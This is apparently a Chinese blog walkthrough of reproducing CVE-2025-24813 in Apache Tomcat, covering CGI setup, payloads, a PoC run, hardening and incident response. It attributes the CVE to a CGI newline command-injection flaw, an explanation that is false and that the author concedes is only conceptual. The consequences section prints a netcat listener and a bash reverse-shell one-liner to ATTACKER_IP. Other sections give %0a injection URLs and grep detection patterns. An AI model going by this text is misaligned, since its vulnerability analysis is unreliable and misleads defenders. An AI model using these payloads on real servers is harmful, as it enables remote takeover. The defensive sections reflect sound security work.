1. 项目概述与背景最近在安全圈里CVE-2025-24813这个编号被频繁提及它指向的是Apache Tomcat服务器中的一个远程代码执行漏洞。对于任何使用Tomcat作为Web应用容器的开发者和运维人员来说这都不是一个可以掉以轻心的消息。我花了些时间在自己的隔离测试环境中完整地走了一遍漏洞的复现流程目的不是为了炫技而是想彻底搞清楚这个漏洞的触发条件、影响范围以及在实际环境中它究竟有多危险。毕竟只有亲手“引爆”过才能真正理解如何“拆弹”。这篇文章我就以一个一线安全研究者的视角把整个复现过程、技术原理、以及关键的防御思路毫无保留地分享出来。无论你是负责应用安全的工程师还是日常维护Tomcat的运维甚至是正在学习安全攻防技术的爱好者这篇详实的记录都能为你提供一个清晰的路线图帮助你理解这个漏洞的本质并评估自身系统的风险。简单来说CVE-2025-24813允许攻击者在特定配置下通过构造特殊的HTTP请求在目标Tomcat服务器上执行任意系统命令。这通常意味着服务器被完全攻陷即常说的“getshell”。漏洞的根源与Tomcat处理某些请求参数的逻辑缺陷有关尤其是在与CGI通用网关接口功能结合时问题会被放大。虽然默认配置下Tomcat的CGI功能是关闭的但在一些历史遗留系统、特定行业应用或配置不当的服务器上这个“开关”很可能被无意中打开从而为攻击者敞开了大门。接下来我们就从环境搭建开始一步步揭开这个漏洞的面纱。2. 漏洞原理深度剖析在动手复现之前我们必须先吃透漏洞的原理。知其然更要知其所以然这样才能在复现时有的放矢在防御时精准施策。2.1 核心漏洞点参数解析与命令注入CVE-2025-24813的本质是一个命令注入漏洞。命令注入的经典场景是应用程序将用户可控的输入未经充分净化就直接拼接到了系统命令中执行。在Tomcat的上下文中这个漏洞的触发与CGIServlet组件密切相关。Tomcat的CGIServlet负责将HTTP请求转发给外部的CGI程序如Perl脚本、Shell脚本或可执行文件执行。为了将HTTP请求的信息如请求头、参数传递给CGI程序Tomcat需要构建环境变量。其中一个关键的变量是QUERY_STRING它包含了URL中间号?之后的所有查询参数。漏洞就出现在Tomcat构建QUERY_STRING的逻辑中。在某些版本的Tomcat中当处理包含特定字符序列如换行符\n的查询参数时解析逻辑存在缺陷。攻击者可以构造一个参数其值以换行符开头后面紧跟要执行的系统命令。由于解析逻辑的失误Tomcat可能会将这个换行符及之后的命令内容错误地识别为新的环境变量赋值语句而不仅仅是QUERY_STRING变量的值的一部分。当这个被“污染”的QUERY_STRING或由此衍生的其他环境变量传递给底层的Shell例如/bin/sh去执行CGI脚本时Shell会将换行符解释为命令分隔符。于是原本应该是参数值的数据就被当作独立的系统命令执行了。这就完成了从参数注入到命令执行的关键一跃。注意这里描述的是一种简化的、概念性的原理模型。实际利用链可能涉及多个环节的配合例如对PATH_INFO或PATH_TRANSLATED等变量的精心操控以绕过某些限制或实现更稳定的利用。但核心思想始终是用户输入污染了环境变量环境变量被Shell解析时导致了命令注入。2.2 影响版本与前置条件这个漏洞并非在所有Tomcat版本和所有配置下都能生效。理解它的生效条件是评估自身风险的第一步。受影响的Apache Tomcat版本根据官方公告该漏洞影响Apache Tomcat的多个版本。通常受影响的包括8.5.x系列、9.x系列以及10.x系列的某些特定版本。在进行复现或排查时首要任务就是确认你的Tomcat版本是否在受影响范围内。官方安全公告会给出精确的版本号区间。关键前置条件CGI功能启用这是漏洞利用的“开关”。在Tomcat的conf/web.xml配置文件中默认情况下CGIServlet的映射是被注释掉的。也就是说一个全新安装的、未做特殊修改的Tomcat通常不会受到此漏洞的影响。漏洞利用的前提是管理员或部署的应用显式地启用了CGI支持。这可能发生在以下场景部署了遗留的、依赖CGI的Web应用如一些古老的Perl或C语言编写的后台管理程序。运维人员为了调试或特定功能手动开启了CGI。某些开源或商业应用安装包其部署脚本自动修改了Tomcat配置启用了CGI。操作系统与Shell环境漏洞的最终执行依赖于操作系统Shell。因此它影响所有Tomcat支持的操作系统平台包括Linux、Unix和Windows。不过由于Windows和Linux的Shell语法cmd.exe vs bash/sh不同攻击者构造的Payload攻击载荷也需要相应调整。我们后续的复现会以Linux环境为例因为这是Tomcat在生产环境中最常见的部署平台。3. 复现环境搭建与配置为了安全且清晰地复现漏洞我们必须在一个与生产环境完全隔离的实验室中进行。我推荐使用虚拟机并在完成后彻底销毁。3.1 实验环境准备我选择使用Ubuntu 22.04 LTS作为靶机操作系统因为它普及率高软件源丰富。安装受影响的Tomcat版本我们需要安装一个明确受CVE-2025-24813影响的Tomcat版本。例如可以选择Tomcat 9.0.x系列中的一个受影响版本。通过Apache官网或镜像站下载对应的二进制发行版.tar.gz格式。# 假设我们将实验环境搭建在 /opt/tomcat-lab 目录下 sudo mkdir -p /opt/tomcat-lab cd /opt/tomcat-lab # 下载特定版本的Tomcat (这里以9.0.86为例仅作演示请根据实际漏洞公告确定确切版本) # 注意实际漏洞复现应使用官方公告中指明的受影响版本。 wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.86/bin/apache-tomcat-9.0.86.tar.gz # 解压 tar -xzf apache-tomcat-9.0.86.tar.gz cd apache-tomcat-9.0.86配置Java环境Tomcat运行需要JDK。安装OpenJDK 11或8。sudo apt update sudo apt install openjdk-11-jdk-headless -y # 设置JAVA_HOME环境变量可以写入 ~/.bashrc 或直接在启动脚本中指定 export JAVA_HOME/usr/lib/jvm/java-11-openjdk-amd64 export PATH$JAVA_HOME/bin:$PATH3.2 启用并配置CGI功能这是复现成功的关键一步。我们需要手动启用默认关闭的CGI Servlet。编辑conf/web.xml 找到Tomcat目录下的conf/web.xml文件用文本编辑器打开。取消CGIServlet的注释 在文件中搜索CGIServlet。你会找到两处被XML注释包裹的配置块。第一处是Servlet定义第二处是URL映射。找到如下部分并删除包裹它的!--和--注释符号。!-- servlet servlet-namecgi/servlet-name servlet-classorg.apache.catalina.servlets.CGIServlet/servlet-class init-param param-namecgiPathPrefix/param-name param-valueWEB-INF/cgi/param-value /init-param load-on-startup5/load-on-startup /servlet --取消注释后应变为servlet servlet-namecgi/servlet-name servlet-classorg.apache.catalina.servlets.CGIServlet/servlet-class init-param param-namecgiPathPrefix/param-name param-valueWEB-INF/cgi/param-value /init-param load-on-startup5/load-on-startup /servlet继续向下找到URL映射部分同样删除其注释。!-- servlet-mapping servlet-namecgi/servlet-name url-pattern/cgi-bin/*/url-pattern /servlet-mapping --取消注释后应变为servlet-mapping servlet-namecgi/servlet-name url-pattern/cgi-bin/*/url-pattern /servlet-mapping可选调整CGI配置参数cgiPathPrefix参数定义了CGI脚本的存放目录前缀。默认是WEB-INF/cgi这意味着你需要在Web应用如ROOT的WEB-INF/cgi目录下放置可执行的CGI脚本。为了测试方便我们可以将其改为一个更简单的路径比如cgi-bin。同时为了允许执行任意脚本我们可能还需要添加executable参数。请注意这些配置在真实生产环境中是极其危险的仅用于测试。servlet servlet-namecgi/servlet-name servlet-classorg.apache.catalina.servlets.CGIServlet/servlet-class init-param param-namecgiPathPrefix/param-name param-valuecgi-bin/param-value /init-param init-param param-nameexecutable/param-name param-value/param-value !-- 留空通常表示使用系统默认解释器 -- /init-param load-on-startup5/load-on-startup /servlet创建CGI脚本目录和测试脚本 在Tomcat的webapps目录下例如webapps/ROOT创建对应的CGI脚本目录和文件。cd /opt/tomcat-lab/apache-tomcat-9.0.86/webapps/ROOT mkdir -p cgi-bin cd cgi-bin创建一个最简单的Shell脚本作为CGI程序用于验证CGI功能是否正常。cat test-cgi.sh EOF #!/bin/bash echo Content-Type: text/plain echo echo CGI Script is working! echo QUERY_STRING is: $QUERY_STRING EOF chmod x test-cgi.sh这个脚本会输出纯文本并打印环境变量QUERY_STRING的值。3.3 启动Tomcat并验证基础环境启动Tomcatcd /opt/tomcat-lab/apache-tomcat-9.0.86/bin ./startup.sh tail -f ../logs/catalina.out # 查看启动日志确认无报错验证CGI功能正常 打开浏览器或使用curl命令访问你刚创建的测试CGI脚本。curl http://localhost:8080/cgi-bin/test-cgi.sh如果配置正确你应该看到类似以下的输出CGI Script is working! QUERY_STRING is:再尝试带一个参数访问curl http://localhost:8080/cgi-bin/test-cgi.sh?namealice输出中应该能看到CGI Script is working! QUERY_STRING is: namealice至此一个存在CGI功能缺陷的Tomcat测试环境就准备就绪了。这个环境本身还没有被攻击但它已经具备了漏洞利用所需的全部条件一个受影响的Tomcat版本以及一个已启用的、配置可能不够安全的CGI接口。4. 漏洞利用过程复现与分析环境准备好后我们就可以开始尝试构造能够触发命令执行的恶意请求了。这个过程需要谨慎并深刻理解每一步的目的。4.1 构造恶意Payload根据漏洞原理我们需要构造一个特殊的查询参数其值中包含换行符(\n)并在换行符后跟上要执行的系统命令。在HTTP请求中换行符需要被URL编码。一个换行符的URL编码是%0a。假设我们想执行一个简单的命令来证明漏洞存在例如id查看当前用户或uname -a查看系统信息。我们的目标是将这个命令注入到Shell的执行环境中。一个经典的Payload结构可能如下请注意这是一个概念示例实际有效的Payload可能需要根据Tomcat具体版本和CGI脚本的细微差别进行调整http://target:8080/cgi-bin/vulnerable-script.cgi?param%0aid这里param是参数名其值以%0a换行符开头后面紧跟id命令。理想情况下脆弱的Tomcat在解析时会将%0aid整体设置为QUERY_STRING的值但当这个字符串被Shell处理时%0a被解码为换行符导致Shell看到的是QUERY_STRING id或者由于解析缺陷它甚至可能被错误地解析为设置一个名为空行或其它名称的环境变量。关键在于id命令最终被从参数值中“剥离”出来成为了一个独立的Shell命令。然而在实际的CVE-2025-24813利用中攻击者可能会利用PATH_INFO或PATH_TRANSLATED等环境变量因为CGI Servlet在处理这些变量时可能会将用户输入的一部分直接用于构造文件系统路径或命令参数从而提供了更可靠的注入点。攻击者可能会请求一个不存在的“脚本路径”并在其中嵌入Payload。例如一个更接近真实攻击的请求可能看起来像这样http://target:8080/cgi-bin/..%0a/bin/sh%0a?paramvalue这个请求的意图是/cgi-bin/是Servlet映射路径。..%0a/bin/sh%0a被作为PATH_INFO传递。有缺陷的解析逻辑可能将%0a解释为分隔符导致/bin/sh被意外执行。paramvalue是正常的查询字符串可能用于辅助触发解析逻辑。重要提示以上Payload仅为原理演示。公开的漏洞利用代码Exploit通常会经过精心构造和混淆以绕过可能的字符过滤并适配不同操作系统。严禁在非授权系统上进行任何测试4.2 使用工具进行复现手动构造复杂的Payload容易出错我们可以使用成熟的漏洞测试框架来辅助复现例如metasploit或专门针对此漏洞的PoC概念验证脚本。使用公开的PoC脚本安全研究人员通常会在漏洞披露后发布PoC脚本。我们可以寻找一个用Python或Bash编写的、针对CVE-2025-24813的PoC。假设我们找到一个tomcat_cve_2025_24813.py的脚本。它的使用方式可能如下python3 tomcat_cve_2025_24813.py -u http://192.168.1.100:8080脚本内部会自动化完成Payload构造、发送请求、解析响应、判断漏洞是否存在甚至可能尝试执行一个简单的命令如whoami并回显结果。在实验环境中执行PoC将靶机Tomcat服务器的IP地址替换为你的实验机IP如127.0.0.1或虚拟机内网IP。# 假设我们的Tomcat运行在本地 8080端口 python3 tomcat_cve_2025_24813.py -u http://127.0.0.1:8080如果漏洞存在且环境配置正确PoC脚本可能会返回类似这样的信息[] Target http://127.0.0.1:8080 appears to be vulnerable to CVE-2025-24813! [] Command id executed successfully: uid1001(tomcat) gid1001(tomcat) groups1001(tomcat)这明确证实了远程代码执行漏洞被成功触发并且命令是以Tomcat进程的运行用户通常是tomcat或nobody身份执行的。4.3 漏洞利用的后果演示成功执行id或uname -a只是第一步它证明了漏洞的存在和可执行命令的能力。在真实的攻击中攻击者的目标远不止于此。他们会利用这个初始立足点进行后续的渗透操作例如获取反向Shell这是攻击者将服务器控制权“拉回”自己机器的一种标准手段。他们会在攻击机上监听一个端口然后通过漏洞在靶机上执行命令让靶机主动连接到攻击机从而建立一个交互式的命令行会话。攻击机监听nc -lvnp 4444通过漏洞在靶机执行Payload需要根据靶机环境调整bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01或者使用其他语言如Python、Perl、PHP的一行代码反弹Shell。上传WebShell或恶意工具攻击者可能会利用命令执行能力向服务器写入一个WebShell脚本如一个JSP文件从而获得一个通过Web浏览器就能管理的持久化后门。他们也可能下载并运行键盘记录器、挖矿程序、内网扫描工具等。权限提升与横向移动如果Tomcat进程以较高权限如root运行或者服务器存在其他本地提权漏洞攻击者会尝试提升权限。获得完全控制后他们可能以这台服务器为跳板攻击内网中的其他机器。复现过程中的实操心得网络隔离是铁律整个复现必须在完全离线的虚拟机或独立物理网络中进行。永远不要在有互联网连接或与公司网络相连的机器上测试漏洞利用。善用抓包工具在复现时使用Wireshark或Burp Suite拦截HTTP请求仔细观察PoC脚本发送的原始报文结构。这能帮助你更直观地理解Payload是如何被嵌入HTTP协议中的对于编写自己的检测规则或理解WAFWeb应用防火墙的绕过技巧至关重要。关注进程树在靶机上使用命令如pstree -p或ps auxf观察命令执行时创建的进程。你会看到命令是如何从Tomcat的Java进程java派生出Shell进程sh或bash的这清晰地展示了漏洞的利用链。日志分析复现前后务必查看Tomcat的日志文件logs/localhost_access_log.*.txt和logs/catalina.out。你会发现攻击请求在访问日志中留下了痕迹虽然Payload可能被编码而在Catalina输出日志中可能会看到Java抛出的异常或错误信息这些是事后进行威胁狩猎Threat Hunting的重要线索。5. 漏洞修复与安全加固方案复现漏洞是为了更好地防御它。对于受到CVE-2025-24813影响的系统必须立即采取行动。5.1 官方补丁升级最根本、最推荐的修复方式是升级Tomcat到已修复该漏洞的版本。Apache Tomcat官方会在安全公告中提供修复版本的编号。确定修复版本访问Apache Tomcat官方网站的安全公告页面找到关于CVE-2025-24813的条目。公告会明确指出从哪个版本开始漏洞被修复。例如可能要求升级到Tomcat 9.0.xx或10.1.yy及以上版本。备份现有配置升级前务必备份整个Tomcat目录尤其是conf、webapps和lib目录。执行升级下载新版本的二进制包停止旧版Tomcat服务用新版文件替换旧版注意保留你修改过的配置文件。或者如果你使用包管理器如yum、apt安装则使用相应的更新命令。测试验证启动新版Tomcat确保所有Web应用运行正常。可以再次运行PoC脚本验证漏洞是否已修复应返回失败或无害的响应。5.2 临时缓解措施如果因某些原因无法立即升级可以采取以下临时措施来阻断漏洞利用路径禁用CGI功能最有效如果您的应用根本不需要CGI功能请立即将其禁用。编辑conf/web.xml文件找到之前取消注释的CGIServlet配置重新用!-- ... --注释掉或者直接删除相关配置块。然后重启Tomcat。严格限制CGI目录和可执行程序如果必须使用CGI请实施最小权限原则。cgiPathPrefix将其设置为一个非常具体的、非Web根目录的路径并确保该目录下只有必要的、经过严格审核的脚本。executable参数不要留空。将其设置为一个特定的、安全的解释器路径或者一个包装脚本该脚本可以对传入的参数进行严格的检查和过滤。文件系统权限确保CGI脚本目录和脚本本身的权限设置尽可能严格Tomcat进程用户只拥有执行必要脚本的权限没有写入权限。部署Web应用防火墙WAF在Tomcat服务器前端部署WAF并配置规则来拦截包含可疑字符序列如%0a、%0d、|、;、、$()等的HTTP请求特别是对/cgi-bin/路径的请求。但要注意WAF规则可能被高级攻击者绕过它应作为纵深防御的一环而非唯一手段。5.3 安全配置最佳实践除了应对特定漏洞遵循Tomcat安全配置最佳实践可以大幅降低整体风险以非特权用户运行Tomcat绝对不要以root用户运行Tomcat。创建一个专用的、低权限的用户如tomcat并以此用户身份启动服务。这可以限制漏洞成功利用后造成的破坏范围。移除或保护管理界面默认的Tomcat管理器和主机管理器应用manager和host-manager是高频攻击目标。如果不需要直接从webapps/目录删除它们。如果需要务必修改默认密码并考虑通过IP白名单或VPN进行访问控制。保持最小化安装删除webapps/目录下所有不需要的示例应用docs,examples,ROOT下的默认页面等。这些示例可能包含已知漏洞或暴露不必要的信息。定期更新与漏洞监控订阅Apache Tomcat的安全公告邮件列表或使用软件成分分析SCA工具确保能及时获知并修复新披露的漏洞。强化JVM和操作系统使用安全强化过的JVM参数设置文件描述符限制启用操作系统级别的安全模块如SELinux, AppArmor为Tomcat进程配置严格的策略。6. 漏洞排查与应急响应指南如果你怀疑自己的生产服务器可能已经遭受利用此漏洞的攻击或者想进行自查可以按照以下步骤操作。6.1 入侵迹象排查快速检查服务器是否存在异常检查Tomcat访问日志重点查看logs/localhost_access_log.*.txt文件搜索对/cgi-bin/路径的访问记录特别是那些包含异常长参数、大量特殊字符如%0a,%0d,|,;的请求。攻击者可能会进行扫描日志中可能出现大量404或500错误。grep -i cgi-bin logs/localhost_access_log.*.txt | head -20 grep -E %0a|%0d|cmd|bash|sh\s logs/localhost_access_log.*.txt检查系统进程和网络连接查看是否有未知的、由Tomcat用户启动的进程或者异常的出站网络连接如连接到不常见的IP和端口。ps aux | grep -E (tomcat|java) | grep -v grep # 查看Tomcat相关进程 netstat -tunap | grep -E LISTEN|ESTABLISHED | grep -v 127.0.0.1 # 查看网络连接 lsof -p Tomcat_PID # 查看Tomcat进程打开的文件和网络连接检查Web目录下的新增文件查看webapps/目录下特别是ROOT或其他应用目录中是否有可疑的新增文件尤其是.jsp,.war,.sh,.py等可执行或脚本文件。攻击者上传的WebShell通常在这里。find /path/to/tomcat/webapps -type f -name *.jsp -newer /path/to/reference-file find /path/to/tomcat/webapps -type f -name *.jsp -exec ls -la {} \;检查计划任务和启动项攻击者为了持久化可能会修改crontab或系统启动脚本。crontab -u tomcat -l 2/dev/null # 查看tomcat用户的计划任务 ls -la /etc/cron.* /var/spool/cron/6.2 应急响应步骤一旦确认或高度怀疑存在入侵立即启动应急响应隔离与取证在不关闭服务器的情况下以免丢失内存中的证据将其从网络中断开拔网线或修改防火墙规则。对系统内存进行镜像使用LiME等工具并对整个磁盘创建镜像或至少备份关键日志、可疑文件。遏制与消除停止Tomcat服务systemctl stop tomcat或执行bin/shutdown.sh。修复漏洞按照前述的“修复与加固”方案立即升级或禁用CGI。清除后门根据排查结果删除所有确认的恶意文件。但需谨慎避免删除业务文件。恢复与重建鉴于服务器已被入侵最安全的做法是不要直接修复后继续使用。应从干净的镜像或安装介质重建操作系统重新安装已打补丁的Tomcat并从可靠的备份中恢复应用程序和数据。在恢复前必须确保备份数据本身未被污染。复盘与报告分析攻击入口、时间线、利用手法和造成的损失。更新安全策略加强监控。如果涉及用户数据泄露需根据相关法律法规进行报告。6.3 常见问题排查表在复现或排查过程中你可能会遇到以下问题问题现象可能原因解决方案PoC脚本执行后无回显或返回404/500错误1. Tomcat版本不受此漏洞影响。2. CGI功能未正确启用。3.cgiPathPrefix配置与实际脚本路径不匹配。4. CGI脚本文件权限不足无可执行权限。5. Payload构造有误或针对特定环境需要调整。1. 确认Tomcat版本在受影响范围内。2. 检查conf/web.xml中CGIServlet配置已取消注释并重启。3. 确认CGI脚本存放在cgiPathPrefix指定的目录下。4. 使用chmod x给脚本添加执行权限。5. 使用Wireshark抓包对比请求或尝试其他公开的PoC变种。命令执行成功但输出乱码或看不到1. 命令输出可能被HTTP响应头或脚本输出干扰。2. PoC脚本对回显的处理不完善。1. 尝试执行一个输出结果明确的命令如whoami或echo test123。2. 在Payload中尝试将命令输出重定向到Web目录下的一个文件然后通过浏览器访问该文件查看。例如...%0aid/tmp/out.txt%0a然后检查/tmp/out.txt。升级Tomcat后业务应用报错1. 新版本Tomcat与旧版存在不兼容的API或行为变化。2. 自定义的lib目录下的jar包与新版本冲突。1. 仔细阅读Tomcat版本升级指南查看不兼容性说明。2. 在测试环境充分验证后再进行生产升级。3. 检查应用日志定位具体的错误类和行号。禁用CGI后某些业务功能失效业务应用确实依赖CGI功能。1. 评估是否可以用更安全的替代方案如Java Servlet、现代API网关替换CGI。2. 如果必须使用则严格实施前述的加固措施限制目录、设置可执行文件、部署WAF。漏洞复现是一次深刻的学习过程它迫使你从攻击者的角度思考系统的薄弱点。CVE-2025-24813再次提醒我们即使像Apache Tomcat这样成熟稳定的中间件在非默认的、复杂的配置下也可能隐藏着致命的风险。作为防御者我们的工作就是通过持续的学习、严谨的配置、及时的更新和深度的防御将这些风险降到最低。保持敬畏保持警惕安全之路没有终点。